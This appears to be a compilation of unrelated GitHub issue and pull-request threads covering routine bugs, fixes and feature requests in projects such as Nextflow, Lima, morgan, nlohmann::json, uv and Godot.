:pushpin: Commit 66f600e has been approved by emilio

:hourglass: Testing commit 66f600eed117b9f7f5197ce1e3429539aac24365 with merge 0fab51e501f45727169516f605de31e7e1d19a62...

:sunny: Test successful - status-travis
Approved by: emilio
Pushing 0fab51e501f45727169516f605de31e7e1d19a62 to master...


⚠ Bofrost.lu has degraded performance

In 65b0ac2, Bofrost.lu (https://www.bofrost.lu) experienced degraded performance:

HTTP code: 200
Response time: 903 ms

Resolved: Bofrost.lu performance has improved in 66fbb45.


[Fix] Change foregroundColor to foregroundStyle - Issue 409

Referencing issue 409

@yo1995 Color is needed in this specific instance

@yo1995 Color is needed in this specific instance

This is expected, because accentColor is a Color, while primary, secondary, etc. are styles. The foregroundStyle modifier by default infers a ShapeStyle typed parameter as the input. When a color is provided, type inference isn't smart enough to deduct the types.
In case you are curious - the built-in colors such as .red and .blue are static constants on the Color type, there are some compiler magic to make their type inferable, thus their type can be omitted as well. Whereas accentColor is computed (which is a runtime behavior), somehow its type must be specified.


alerts/etcdNoLeader.md: Add basic runbook

This adds a basic starting runbook for etcdNoLeader which is a critical alert. This will be improved later on, either by etcd team or SRE folks or by feedback from our end users.
@RiRa12621 @hexfusion please take a look, as mentioned we have a lot of runbooks to add so these are just basic things and we will improve in follow ups.

/lgtm
Thanks!


Nextflow pull failure

Dear developer,
Thanks for your such good jobs.
My problem is that I can not install emg-viral-pipeline by any method of your provided.
Nextflow method:
(PathoFact) [u@h@software]$ nextflow run EBI-Metagenomics/emg-viral-pipeline --fasta "/home/$USER/.nextflow/assets/EBI-Metagenomics/emg-viral-pipeline/nextflow/test/assembly.fasta" --cores 4 -profile local,docker -r v0.1
N E X T F L O W  ~  version 21.04.1
Launching `EBI-Metagenomics/emg-viral-pipeline` [maniac_saha] - revision: 5c1279c24b [v0.1]
WARN: DSL 2 PREVIEW MODE IS DEPRECATED - USE THE STABLE VERSION INSTEAD -- Read more at https://www.nextflow.io/docs/latest/dsl2.html#dsl2-migration-notes

Profile: local,docker

Current User: yut
Nextflow-version: 21.04.1
Starting time: 14-05-2021 15:20 UTC
Workdir location:
  /tmp/nextflow-work-yut
Databases location:
  nextflow-autodownload-databases

Dev ViPhOG database: v3
Dev Meta database: v2

Only run annotation: false

This workflow requires Nextflow version 20.01 or greater -- You are running version 21.04.1

@neptuneyt thanks for reporting and sorry this happens due to a version check we implemented for Nextflow and that thus not properly work since the version number was bumped from 20.x.x to 21.x.x.
@mberacochea the code is here:
https://github.com/EBI-Metagenomics/emg-viral-pipeline/blob/master/virify.nf#L42
I think this code can be simply removed and replaced by
manifest {
    mainScript = 'virify.nf'
    nextflowVersion = '>=20.01.0'
}

in nextflow.config (https://github.com/EBI-Metagenomics/emg-viral-pipeline/blob/master/nextflow.config#L2)

Thank you @hoelzer I have a fix https://github.com/EBI-Metagenomics/emg-viral-pipeline/commit/20a8672ba8a5744f7f8d4a5db8d1d19c5907f25a I'm testing it.
@neptuneyt I'll merge the fix into dev and master as soon I finish testing it.

@neptuneyt can you try with -r dev (to use the dev branch)?


Color has no HSV / HSL Capabilities

The Color class is lacking in Hue, Saturation, and Brightness / Value controls. It's not a huge deal, but controlling HSV is (in my opinion) way more intuitive and usable when compared to directly dealing with RGB values.

color actually has HSV mode, using set_hsv and get_h, get_s, and get_v

Eh? It's not there in the docs:
http://docs.godotengine.org/en/stable/classes/class_color.html?highlight=Color
Are you talking about 3.0, or was it added after the last release?

@SolarLune at least the parameters are there, h,s,v, read carefully the Member variables section

Ah, OK, I must have missed that looking for a method to create a Color with HSV. Thanks!


cannot create directory '/opt/dlami/nvme/tmp/enroot/data': Permission denied

cannot create directory '/opt/dlami/nvme/tmp/enroot/data': Permission denied

SSH into each node and run the following:
sudo chmod 777 /opt/dlami/nvme/tmp/enroot/datasudo

restart slurmd

sudo scontrol update nodename=ip-x-x-x-x state=idle


Has the 'support' for websockets (ws/wss) been dropped from 3.0.0?

I can see no mechanism for indicating that a client should initiate a websocket handshake at either the root, path or operation level (the new AsyncAPI specification notwithstanding).

Isn't it the same as before? Just specify ws/wss as the scheme in the Server Object's url?

My bad. I was using a non-standard URL parser implementation. Thanks.


Add support in mlir for transposed and broadcasted shaped

So it looks like MLIR still doesn't work completely with broadcasts yet:
module {
  func @main(%arg0: tensor<1x1x1x1xf32>, %arg1: tensor<1x3x32x32xf32>, %arg2: tensor<1x3x5x5xf32>) -> tensor<1x1x28x28xf32> attributes {kernel = "mixr"} {
    %0 = migraphx.multibroadcast(%arg0) {out_lens = [1, 1, 28, 28]} : (tensor<1x1x1x1xf32>) -> tensor<1x1x28x28xf32>
    %1 = migraphx.convolution(%arg1, %arg2) {dilation = [1, 1], group = 1 : i64, padding = [0, 0, 0, 0], padding_mode = 0 : i64, stride = [1, 1], use_dynamic_same_auto_pad = 0 : i64} : (tensor<1x3x32x32xf32>, tensor<1x3x5x5xf32>) -> tensor<1x1x28x28xf32>
    %2 = migraphx.add(%1, %0) : (tensor<1x1x28x28xf32>, tensor<1x1x28x28xf32>) -> tensor<1x1x28x28xf32>
    %3 = migraphx.relu(%2) : (tensor<1x1x28x28xf32>) -> tensor<1x1x28x28xf32>
    return %3 : tensor<1x1x28x28xf32>
  }
}

error: Error constructing coordinate transformation: The transformation must define outputs

Fix for the above problem was merged yesterday, please try
6c9375a314da397b4161b5141a688c0eb166a12f
Or 5.4_rel once branched.

Failing with tidy errors.


DefaultTimeout is left to 2s after exiting debug mode

I use DebugOn keyword to troubleshoot test cases. Debug mode sets the default timeout to 2s but when I exit debug mode with ctrl-d, timeout is not reverted back to original. This causes tests to fail.

Closing this as it was included in 2.0.1 release.


add option to paste multiple links or cli method

Hi, i want to be able to download but its boring to do it 1 per 1, can you add paste box to put links and leave it downloading?

IDK if this is a solution to the multiple link part, but there is a CLI app that supports Coomer - gallery-dl. Haven't installed it, but I've just found it


(MAINT) Fix issue where an exception triggers another exception

This is a copy-paste bug. Route53 is a global service (it's DNS), unlike
all the other services which are scoped to region. This is rarely seen,
but a user managing a large number of records hit it a few times. This
should mean when the exception occurs a useful error message is produced
rather than getting Error: Failed to apply catalog: undefined local
variable or method `region' for.

Implemented this change in our environment, and are receiving much more useful error messages from Route53.  Can confirm the actual error is exceeding the API rate limit


incorrect demo codes in chapter "/docs/handbook/interfaces.html" of handbook

type: docs
position:  the second code snippet of the topic Optional Properties, chapter interfaces
what's unexpected: the code snippet doesn't contain a mistype of "color", hence has no error as described in the doc above the code snippet:

what's the expected doc: maybe we should change the assignment to:
    if (config.color) {
        // Error: Property 'color' does not exist on type 'SquareConfig'
        newSquare.color = config.clor; // instead of color
    }

A PR would be appreciated. The source is at https://github.com/Microsoft/TypeScript-Handbook/blob/master/pages/Interfaces.md

This should be fixed soon :)

This typo hasn't been fixed. I can still read it on handbook.
https://www.typescriptlang.org/docs/handbook/interfaces.html


Home directory doesn't get mounted again on reboot

Description
When rebooting, we lose access to the mount of the host machine home directory (/Users/<user>).
Stopping and starting the vm again seems to fix the issue, it's probably because rebooting skips a few steps that starting and stopping does not, namely:
INFO[0007] [hostagent] Mounting "/Users/ze" on "/Users/ze"

Minimal repro:
INFO[0007] READY. Run `limactl shell debian` to open the shell.

$ limactl shell debian
ze@lima-debian:/Users/ze/Projects$ sudo reboot

$ limactl shell debian
bash: line 1: cd: /Users/ze/Projects: No such file or directory
ze@lima-debian:/Users/ze$

Using debian-11 template.

You can reboot the VM in the provisioning phase, but afterwards stoping/starting needs to be done via limactl and not just the VM itself.
I don't think there is anything that can be done about this, so I would prefer to close this issue. Thoughts @lima-vm/maintainers ?

Wonder if limactl restart would help ?
Otherwise it would require generating the proper mount command for the new filesystems, and adopt to systemd or openrc or what have you. Might not even be possible, for some drivers. Why do we need the reboot? Muscle memory?

On a side note, systemctl reboot?

The hostagent would have to detect the reboot, and then go through the whole "requirements" processing again once it gets an ssh connections again etc. Seems like a lot of work for something that doesn't seem to have a solid use-case.

Wonder if limactl restart would help ?

I've wanted this a couple of times already, even though I feel it is somewhat redundant.

Why do we need the reboot? Muscle memory?

yeah, on my part it was just bad form and muscle memory. Looking back at it, it makes sense to use reboot only on provisioning, though i'd say it's not super obvious for newcomers and might lead to situations where it's unclear what the problem is.

Is this about reverse-sshfs?

It is definitely a problem with reverse-sshfs because the mounting is done by the guest-agent. The other 2 are probably fine.


Add trinity integration tests

What is wrong?
We can break trinity launch without even noticing in CI
How can it be fixed
Launch trinity and attach to it to make sure a few basic calls work. Probably intersects with or depends on #969 and #973
Should test a launch with light and full nodes.

Does anyone else hate how github spams issues with references to the issue number in rebased commits? It makes me never want to mention an issue/PR in a commit message.


Migrate the macOS runners label from macos-m1-12 to macos-m1-stable

There is a new label for our macOS runners: "macos-m1-stable". All runners labeled "macos-m1-12" should be switched to "macos-m1-stable". Here you can find more detailed info.

The ShipIt issue has been fixed, so I think this can be landed now


X Ray Image Query: Add var ordering metadata and change to pot_hole_case

Description
Addresses bullets in #17791

Add image_topo_order_of_domain_variables: "xyz" to xray_data metadata.
Change all metadata from camelCase to pot_hole_case for the sake of consistency
Update docs (TODO) to reflect these changes - will do on develop
Update tests to reflect these changes

Type of change

[ ] Bug fix
[x] New feature~~
[x] Documentation update~~
[ ] Other

How Has This Been Tested?

All x ray query tests pass on rztopaz
Reminders:

Please follow the style guidelines of this project.
Please perform a self-review of your code before submitting a PR and asking others to review it.
Please assign reviewers (see VisIt's PR procedures for more information).

Checklist:

[x] I have commented my code where applicable.~~
[x] I have updated the release notes.~~
[ ] I have made corresponding changes to the documentation.
[ ] I have added debugging support to my changes.
[x] I have added tests that prove my fix is effective or that my feature works.~~
[x] I have confirmed new and existing unit tests pass locally with my changes.~~
[x] I have added new baselines for any new tests to the repo.~~
[x] I have NOT made any changes to protocol or public interfaces in an RC branch.~~

Looks good, I think we also need to update the docs?

I'll do it when I merge with develop. The RC x ray query docs are quite out of date as it is.

merge w/ RC in #18502


morgan block my auth login redirection when I use createWriteStream for stream option

I encountered a problem when logging to a file instead of stdout in Morgan.
In this setting, my google login refreshes the current page instead of going to the profile selection page.
I wrote the code as below.
const accessLogStream: WriteStream =
    process.env.NODE_ENV == "production"
        ? createWriteStream(
              path.join(process.cwd(), "logs/prod", "api-access.log"),
              { flags: "a" }
          )
        : createWriteStream(
              path.join(process.cwd(), "logs/dev", "api-access.log"),
              { flags: "a" }
          );

app.use(morgan("common", { stream : process.stdout })); // When I set like this, my auth login work without problem
app.use(morgan("common", { stream: accessLogStream })); // When I set like this, my front page can't redirect to google login

Thank you.

Hi @tkxkd0159 that is very strange. When morgan tries to write to the stream, it does not wait for the write to complete before continuing, and even then morgan does not write until after the response is completed. I tried with a basic app without issue.
Can you please provide an app that demonstrates the issue and include instructions for how to trigger the condition with the given app? We would be happy to debug the issue. Alternatively you're welcome to make a pull request that fixes the issue.

Thanks for your quick feedback @dougwilson !
My original repository where the problem occurred required several complicated setup processes, so I made a dummy repository that had similar problems. I made a simple example app that separates the backend and the front, and if you press the button called check morgan bug, the bug is reproduced. (Page is refreshed again after receiving a response with fetch)
The address of the source is here. => https://github.com/tkxkd0159/debug-morgan

Hi @tkxkd0159 thanks for that! Are you sure the bug is due to morgan? I ask because in the reproduction code you provided, you have morgan commented out. If you are able to reproduce with that given app, it would seem the issue is unrelated to morgan.

Hi @dougwilson, I forget to uncomment  app.use(morgan("common", { stream: accessLogStream }));
so this code works fine. but if you uncomment morgan part, bus is reproduced

Thanks. I guess I should clarify that I tried that, and your app acted the same if I had it commented out or not, so I wasn't sure if you were able to reproduce with that app. If that is the case, it seems that for some reason I am unable to reproduce on my system and unfortunately won't be able to help produce a fix without reproducing. You'll need to debug what the cause is and make a pull request with a fix 👍 , as it may be dependent on perhaps something on the system itself.

Thanks @dougwilson. For reference, my environment was Ubuntu 20.04.4 LTS. I'll try to debug this problem.

I try to check issue this my mac (Monterey 12.4) and WIndows 10 machine. And there is no bug with morgan. Maybe there is something wrong with my linux machine or just compatible issue with Ubuntu focal. I will try to check this.
Thanks

I tried to test with linux docker container and it works fine. Maybe There is something wrong with my local linux machine. There doesn't seem to be a problem with that package, and it seems to be a problem with my computer. Sorry for raising the wrong issue. I'll close this issue now that the issue has been resolved.


Enhance error messages of elementwise operation in fusion mode

This PR also fixes a bug of cast mentioned in #1983, but this bug will not be reproduced until cupy.copyto is introduced in this repository.

Jenkins, test this please.

Jenkins CI test (for commit ef85e1d46709d0cf95622c8fad469fd43eab7440, target branch master) failed with status FAILURE.
(For contributors, please wait until the reviewer confirms the details of the error.)

The Jenkins failures are unrelated to the PR.


[stable/openvpn] Additional routes can be added to openvpn.conf

What this PR does / why we need it:

Adds the ability to have custom routes for openvpn.conf to push.

Set openvpn.additionalConfigs.enabled to true and add list of strings in format:  - "route <NETWORK> <SUBNET>" to openvpn.additionalConfigs.routes
These will be added to the openvpn.conf in format: push "route <NETWORK> <SUBNET>"

Checklist
[Place an '[x]' (no spaces) in all applicable fields. Please remove unrelated fields.]

[x] DCO signed
[x] Chart Version bumped
[x] Variables are documented in the README.md
[x] Title of the PR starts with chart name (e.g. [stable/mychartname])

/assign @dippynark


Piper/remove validate block number

Builds on https://github.com/ethereum/py-evm/pull/660
What was wrong?
The validate_block_number function doesn't actually do all of the proper validation for block numbers.
How was it fixed?
Changed all usage of validate_block_number to instead use validate_uint256
Cute Animal Picture

I'm finding it confusing to review a series of accumulated PRs. I think I already saw all these changes?
It would be nice to get the PRs isolated. But if they really have to depend on each other, maybe you could open a PR from one branch into another branch so we can see just the diff between each PR and focus on the relevant changes one PR at a time?  Then if they all get :+1: , you could merge them in reverse chronological order.

Fair, the dependency chain came from them touching the same sections of code and there being merge conflicts that I was trying to avoid.  I realize now that I'm having to do the same work rebasing them to clean up the diffs so...
I've rebased this directly onto master.  Have a look?

So, upon further review of the yellow paper, I realize I am  wrong to remove/change this validation, as block numbers are not  constrained by any upper bound.


Fix cache in Bluesky

Fixes https://github.com/snarfed/bridgy/issues/1597

Thanks! Deploying now.


System Check Script #3: Coil Drivers

Coil driver test now uses the IMU magnetometer instead of asking the user to use an external magnetometer.


Bottom example is now runnable

Previously, the app would throw the error:
"Task 'default' is not in your gulpfile"

Could also change Line 32 to read:
gulp.watch(['src/*.js', 'test/*.js'], ['mocha']);

You changed the glob.  Might as well leave it the same.

Thanks!


Encoding issue - accentuated characters

Hi,
I have an issue with all my accentuated characters, like if there was an encoding issue.
Modifying meta charset doesn't seem to solve the problem.
Here is a sample code:
sample.html
<head>
    <title>Sample code</title>
    <meta charset="iso-8859-1">
</head>

<template name="sample">
    {{_ "about"}}
</template>

en.i18n.json
{
    "about": "about"
}

fr.i18n.json
{
    "about": "à propos"
}

In french, this renders as:

Quick answer, without checking the code.
The i18n files are loaded in the utf-8 encoding if the files are in other
encodings it will lead to the issue as you can see.
-Daniel
On Mon, Jul 20, 2015 at 5:28 PM, Pierre Skowron<EMAIL_ADDRESS>wrote:

Hi,
I have an issue with all my accentuated characters, like if there was an
encoding issue.
Modifying meta charset doesn't seem to solve the problem.
Here is a sample code:
sample.html

Sample code

en.i18n.json
{
"about": "about"
}
fr.i18n.json
{
"about": "à propos"
}
In french, this renders as:
[image: i18n-issue]
https://cloud.githubusercontent.com/assets/6703711/8773128/222c0a92-2ed2-11e5-88a4-1e4c56dd3ee1.jpg
—
Reply to this email directly or view it on GitHub
https://github.com/TAPevents/tap-i18n/issues/94.

AH I see! I'll change the encoding of my json files then.
I would be great to add it to the documentation, unless I missed it.

Mind adding that to the README and sending PR?
Thanks
On Mon, Jul 20, 2015 at 5:42 PM, Pierre Skowron<EMAIL_ADDRESS>wrote:

Closed #94 https://github.com/TAPevents/tap-i18n/issues/94.
—
Reply to this email directly or view it on GitHub
https://github.com/TAPevents/tap-i18n/issues/94#event-359819460.


Fix "no such directory" error

For example, If ${PROJECT_SOURCE_DIR} is d:\bf2mods,
you get cmd.exe cd /d d:\bf2mods\build && python3 d:/bf2mods/scripts/gittag.py.
However, the cmake interprets this as follows.
python3: can't open file '/d/bf2mods/build/D:/bf2mods/scripts/gittag.py': [Errno 2] No such file or directory make[2]: *** [CMakeFiles/__bf2mods_gittag.dir/build.make:70: CMakeFiles/__bf2mods_gittag] Error 2 make[1]: *** [CMakeFiles/Makefile2:169: CMakeFiles/__bf2mods_gittag.dir/all] Error 2 make: *** [Makefile:136: all] Error 2
Fixed this.

msys really is a pain sometimes. Many thanks.


Adds list of metadata for verification failures

Each set of dut.v and gold.v in tests/bsg/bsg_micro_designs_results that did not pass verification is provided with a small metadata file detailing some select information regarding its reasons for failure.
Matching Results dictates the section of verification dedicated to matching the ports together between the two instances, whereas Verification Results dictates the section that determines the logical equivalence of compare points.
If a Verification Results section is empty but there is still a provided file, that means that the failure was due to a mismatched set of ports and the design could not be verified. Fixing it at the matching level is likely to fix these issues.
A table of the different types of compare points is given here:
BBNet: multiply-driven net
BBox:  black-box
BBPin: black-box pin
Block: hierarchical block
BlPin: hierarchical block pin
Cut:   cut-point
DFF:   non-constant DFF register
DFF0:  constant 0 DFF register
DFF1:  constant 1 DFF register
DFFX:  constant X DFF register
DFF0X: constrained 0X DFF register
DFF1X: constrained 1X DFF register
LAT:   non-constant latch register
LAT0:  constant 0 latch register
LAT1:  constant 1 latch register
LATX:  constant X latch register
LAT0X: constrained 0X latch register
LAT1X: constrained 1X latch register
LATCG: clock-gating latch register
TLA:   transparent latch register
TLA0X: transparent constrained 0X latch register
TLA1X: transparent constrained 1X latch register
Loop:  cycle break point
Net:   matchable net
Port:  primary (top-level) port
Und:   undriven signal cut-point
Unk:   unknown signal cut-point

bsg_assembler_in.json
bsg_assembler_out.json

We've updated the CI to generate parameters.txt files containing parameter values used for generating dut.v files.
PR: https://github.com/antmicro/yosys-systemverilog/pull/1794
Direct link to output files: https://github.com/antmicro/yosys-systemverilog/suites/13729263278/artifacts/759995417


🗄🔧  Go + net/http

Current Status

Codebase in progress: JackyChiu/realworld-starter-kit

Interested in helping out? Say hello! 🎉 gitter.im/realworld-dev/golang

Todo:

[x] 🏁 Fork the starter repo & post the link in this issue
[x] 🎨 Create logo for repo & update issue status (@ericsimons)
[ ] 🔨 Implement all of Conduit's functionality per the spec & API
[ ] 👀 Move repo to main org & Peer review final codebase by admins/community (RFC)
[ ] 🎉 Tag v1 release and officially list it on the README!

Will be built using only standard libraries, per this discussion.

I'll jump on this as soon as I can! 😄

Let's get this started 😎
👉🏻 https://github.com/JackyChiu/realworld-starter-kit

@JackyChiu just updated the issue status (w/ link to this implementation's gitter room)! Also, feel free to swap the logo in your readme with this one: https://github.com/chrislewispac/realworld-starter-kit/blob/master/go-realworld-logo.png

Will be built using only standard libraries

A little side note that the web framework will be from the standard library but the database driver will not be (since there are no database drivers in the standard library, only a driver interface defined in the database/sql package)

Hey Go folks! @JackyChiu is looking for a quick peer review of his wip codebase to make sure he's on the right track — is there anyone here/in the Go community that could provide some expert feedback?

Did someone started with net/http package ?

@Kartikkh it was started here: https://github.com/JackyChiu/realworld-starter-kit but hasn't been active. I can pass the torch down to someone else if they want to finish it

@JackyChiu  Hi Jacky, I am learning GoLang these days so will try to work on that, and I'll let u know about any issue I would face

Hello we are currently moving all work in progress to Github Discussions.
I'll close this issue by now, you can find instruction to open a discussion there : https://github.com/gothinkster/realworld/discussions/633
Thanks for your contribution !


Migrate tests from Jasmine to Tap

I meant to use Tap in the first place… but forgot

…and not until this bug is fixed
https://github.com/substack/tape/issues/222
Would be too painful to go back to not having Wallaby available


feat: OT3 State Manager

Overview
Creating an OT3 State Manager in Python which maintains the current state of the OT3, and can pass states between peripherals.
Requirements Doc

@sfoster1 I am still working on setting up Github Actions and getting formatting and linting to pass.
In the meantime, can you take a look at how I implemented this and let me know what you think?

I personally don't love the incredibly specific and prescriptive exception types and am generally more in favor of consistent exception usage - if this isn't an allowable value, use ValueError("x must be less than 10"), not ValuesLessThanTenNotAcceptedInThisFunctionError, but we don't have a lot of them yet so whatever

https://github.com/Opentrons/ot3-firmware/pull/418/commits/e4234f299ffc2b147daa1eea5dc1b055c4243d13

I dont think ot3_state_manager/__init__.py should exist, right? just ot3_state_manager/ot3_state_manager/__init__.py

https://github.com/Opentrons/ot3-firmware/pull/418/commits/bcf8088c643d236dde9bbdf404caff9db0e0b88f

also IMO it'd be nice to have make used only here and nowhere else and instead contrive a way to get this stuff into cmake. things that are makefile targets here could be custom_commands in cmake.

Can we try using poetry and a pyproject.toml? If we're only running this locally or pushing to the robot (i.e. as opposed to adding it to the build) then it should be fine, and even if we add it to the build hopefully by then we'll have updated yocto

@sfoster1 why should I use poetry over pipenv? To me, it makes sense to use pipenv since we are using it in our other repos.

Because it's slow and it has hard to diagnose locking failures when you're trying to update things. There's also a lot of progress being made on poetry plugins that will come in really handy for more monorepo focused structures, and it lets you use pyproject.toml which can concentrate all the dotfiles into one.

I really don't think this should be in ot3-firmware if we plan to rely on many things from the monorepo. At the minimum, we'll need all the plumbing from hardware/ around sending/receiving raw can messages. Is the ultimate plan that we would be separately issue commands from the hardware controller and then use this to keep track of state?
1. We should probably not have to copy all of the enum types over (such as `OT3Axis`) because it becomes a pain to keep parity between the monorepo + ot3-firmware.

2. Unless we're fully planning to only check the raw values of all the CAN output messages (which is again a pain, and I don't see the benefit), we will want some of the helpful conversions used in the `hardware/` folder as well.

I agree with the mechanical issues with having this elsewhere, but the functionality of it is so bound up with specifically the firmware that it's hard to see it working well in the monorepo either.
I wonder if the thing that can solve the problem here is explicitly requiring the monorepo to be present somewhere and depending on it directly. We can get the path configured in cmake if we use it and explicitly depend on it from poetry or pipenv or whatever, and then use stuff like the axis definitions.
Does that make things better?

I think I am fine with that. I am still curious about the purpose of the state manager in general. Do we expect this to behave like a redux layer where the hardware controller issues commands, and the state manager monitors the can bus?

I think I am fine with that. I am still curious about the purpose of the state manager in general. Do we expect this to behave like a redux layer where the hardware controller issues commands, and the state manager monitors the can bus?

No - the idea here is that the robot server talks to simulators on can, and the state manager is on the other side, coordinating the responses of the simulators based on whole-system state concerns. some new interface will connect the simulators and the state manager, and the robot server won't know about the state manager at all

Can we try using poetry and a pyproject.toml? If we're only running this locally or pushing to the robot (i.e. as opposed to adding it to the build) then it should be fine, and even if we add it to the build hopefully by then we'll have updated yocto

@sfoster1 why should I use poetry over pipenv? To me, it makes sense to use pipenv since we are using it in our other repos.

Because it's slow and it has hard to diagnose locking failures when you're trying to update things. There's also a lot of progress being made on poetry plugins that will come in really handy for more monorepo focused structures, and it lets you use pyproject.toml which can concentrate all the dotfiles into one.

https://github.com/Opentrons/ot3-firmware/pull/418/commits/abfbd1187b7316c78df4a3f939d8ae9ed854b19d

Nit: Curious why we need to have the readable name be Gantry X etc. I feel like it's pretty straightforward to have it just be X axis

It is just so I can have a user-friendly name to surface instead of using __class__.__name__

@sfoster1 I got pytest, mypy, and isort folded into the pyproject.toml.
I am really struggling with getting setup.py and setup.cfg to work.
Can we either abandon this section or can I get some help?

@sfoster1 I was able to fold setup.py into pyproject.toml
I was not able to fold in setup.cfg


Make it clear what partners requested versus what they actually received

Summary
Add information about the original request to the distribution pdf
Justification
Project initiative to "make it clear what partners requested versus what they actually received", confirmed at partnerbase Working Group meeting 20220810
Details
The partners and essentials bank both have access to print a receipt-like document detailing the contents of a distribution, as in this example:

Modify this report by making the following changes if the distribution is based on a request.
a/  Change the heading "Quantity" to "Received".
b/ Change the heading "In-Kind Value" to "In-Kind Value Received"
c/  Add a column "Requested".  This shows the number of each item that was requested.   Note that some items that were requested may not be included in the distribution (e.g. a partner may have requested a stroller, but the bank doesn't have any to give out).   These requested items should be included.
d/ Change the order of columns to:  Items Received | Requested | Received | Value/Item | In-Kind Value Received | Packages
To Be Determined
Is that the best ordering of columns? Have reached out to the PWG for input-- CLF 20220814
Criteria for Completion
-[] automatic tests created or updated for new functionality
-[] heading changes made
-[] requests column added.
-[] columns reordered

Ping - we just heard about this again in the stakeholder meeting in September.


Make uv venv use the python version listed in .python-version if no --python is provided

As the title. People can list multiple versions in the .python-version file too. The first matched one should be used.

It looks like uv project uses .python-versions (there is a trailing s somehow). pyenv uses .python-version.

HI! That file is for internal development purposes – we need multiple specific Python versions to test this project.
We don't support .python-version markers at all. We definitely can consider it though.

+1 for this.
I have a use case where different branches are currently using different python version as part of a transition so using a versioned file to specify this would be great.
Thank you for this wonderful project!

This become especially interesting in combination with https://github.com/astral-sh/uv/issues/2607

Implemented in https://github.com/astral-sh/uv/pull/4335

Just leave a note here: uv v --preview


Bugsnag behaviour refactor

Goal
The previous design was broken and over complicated
Design
This is the fastest and cleanest solution for now
Changeset
Removed unnecessary editor serialisation code
Testing
Manually tested on android and ios
OLD:

NEW:

@tomlongridge @kattrali When trying to serialise the name of this field like it used to be then it adds a space. Can we have it as AutoDetectAnrs instead?

Can you use an attribute or something to fix the space?

created a custom attribute for the ANRs label


Ambiguity in the volume mounted to mongoDB docker

https://github.com/bigchaindb/bigchaindb/blob/7781f5aae8fd6a578175370d4f2775c3bfe2e9ce/pkg/configuration/roles/mongodb/defaults/main.yml#L26
Description
MongoDB's default database storage path is /data/db. In the code referenced, why are we mounting the host's /data/db to the containers' /data/db/main path.
Problem

This keeps on increasing the Mongodb containers' size with increasing number of transactions.
Also, the data gets lost when we purge the container.

@ttmc Could you look at this issue?

I assume just changing the path to /data/db would work as well. Have to tried changing it?

@muawiakh Yes it works, I was just curious why they did that.


Null safety feedback: [issue summary]

I maintain 2 packages on pub:

The first one is a "pure" Dart package with no dependencies on packages made by other people. I only relied on the Dart's API. No problems at all in the migration! A smooth transition. It was just a matter of replacing @required with required. I was also able to create some more const constructors thanks to late final.

The other package of mine relies on a package made by another person. He hasn't migrated to null safety yet so I'm "stuck" because I have to wait for him. A part from this issue, I was able to easily migrate most of the code too!

I never used null and tried to follow Dart's best practices as much as possible so in order to compile new code under null safety was literally a matter or replacing @required with required and recompile.
I am very satisfied. On the Flutter side, the situation is mostly the same since I only had to:

Replace @required with required
Add some ? here and there to fix some changes made on the API (such as Navigator)

There have been other minor "issues" (if we can call those "issues") but the migration page on the Flutter doc covered them all!

Thanks much for the feedback @albertodev01, great to hear that it went well. cc @leafpetersen fyi


Documentation

What you changed (What reviewers have to see)
Wrote README.md
Check list

[ ] Code styles confirmed
[ ] Test confirmed

Codecov Report
All modified and coverable lines are covered by tests :white_check_mark:

:exclamation: No coverage uploaded for pull request base (dev@4391cf8). Click here to learn what that means.

:exclamation: Your organization needs to install the Codecov GitHub app to enable full functionality.
Additional details and impacted files
@@          Coverage Diff           @@
##             dev      #58   +/-   ##
======================================
  Coverage       ?   93.27%
======================================
  Files          ?       25
  Lines          ?      535
  Branches       ?        0
======================================
  Hits           ?      499
  Misses         ?       36
  Partials       ?        0

:umbrella: View full report in Codecov by Sentry.
:loudspeaker: Have feedback on the report? Share it here.

Waiting for #56

Testing Pypi_test
https://test.pypi.org/project/WordCloudTimelapse/0.9.0/


Build fix when using system Freetype

This fixes issues on systems where freetype.h is located at freetype2/freetype/freetype.h

@9prady9 review pls.

:+1:

This is in relation to: https://github.com/arrayfire/forge/pull/61
Commenting so that the issues can be linked.

Oops, clicked wrong button by mistake


Remove extra layers from checklayer conf

The extra layers cause an error when running checklayer.
By submitting this pull request, I confirm that you can use, modify, copy, and redistribute this contribution, under the terms of your choice.

Having an issue verifying.


Add cloud.ca to the list of 3rd-party docker machine drivers.

Proposed changes
Added cloud.ca to the list of 3rd-party docker machine drivers.

ping @nathanleclaire ptal

LGTM
I wish this file was in Markdown though 😿

Thanks, @simongodard :)

👍


Fixing failed custom port for mongo.

command: mongod  --bind_ip_all --port ${MONGODB_PORT:-27017} but yes, this is an issue currently.


Add --unescape option

Add an option to unescape HTML escape characters before conversion.
Created from #92

Any update on this option?


Parent pointer not properly set when using update()

When update() is used to insert new elements into an nlohmann::json, the parent pointers inside the newly inserted elements don't seem to be properly set.
What is the issue you have?
When parent pointers are not set correctly, an assert goes off when check_invariants() is later called on the object. This only happens when JSON_DIAGNOSTICS is enabled.
This might be related to #2926. Although as far as I can see, this has nothing to do with serialization.
Please describe the steps to reproduce the issue.
Live example: https://godbolt.org/z/Ms5hP35fW
Can you provide a small but working code example?
Same as the live code:
#include <nlohmann/json.hpp>

int main () {
  nlohmann::json root = nlohmann::json::array();
  nlohmann::json lower = nlohmann::json::object();

  {
    nlohmann::json lowest = nlohmann::json::object();
    lowest["one"] = 1;

    lower.update(lowest);
  }

  root.push_back(lower);
}

What is the expected behavior?
Parent pointers should be properly set. As a result no assert should go off.
And what is the actual behavior instead?
Parent pointers are not set, assertion goes off as a result.
Which compiler and operating system are you using?
Tested with:

g++ 10.3 on Gentoo 2.6
g++ 11.1 on Compiler Explorer (godbolt.org)

Which version of the library did you use?

[x] latest release version 3.10.2
[ ] other release - please state the version: ___
[ ] the develop branch

Modifing update() to the following fixes the bug:
for (auto it = j.cbegin(); it != j.cend(); ++it)
{
    m_value.object->operator[](it.key()) = it.value();
#if JSON_DIAGNOSTICS
    m_value.object->operator[](it.key()).m_parent = this;
#endif
}

I can make a pull request with an extra unit test, but probably won't be able to get that done today.

Thanks for reporting, analyzing, and proposing a fix! It would be great if you could open a PR for this, as I won't have time to work on this before Sunday.

The fix was super trivial as was the test, so here you go, PR submitted :smiley:.


How to make network calls?

The title of this issue could be a little misleading but I was not sure how else to describe my thought process, so please stay with me and read along.
I am writing a Flutter application that uses flutter_flux. I have a few stores and a few views (widgets) so far. Right now I am in a dilemma on how to do the network API calls. My widget loads but does not have any data to display yet, which is fine, but now it needs to call my network API service that responds with data. Here is what I am thinking design-wise. Please share your opinions on it.
Widget -> Action -> Store -> Network Service Call -> trigger()
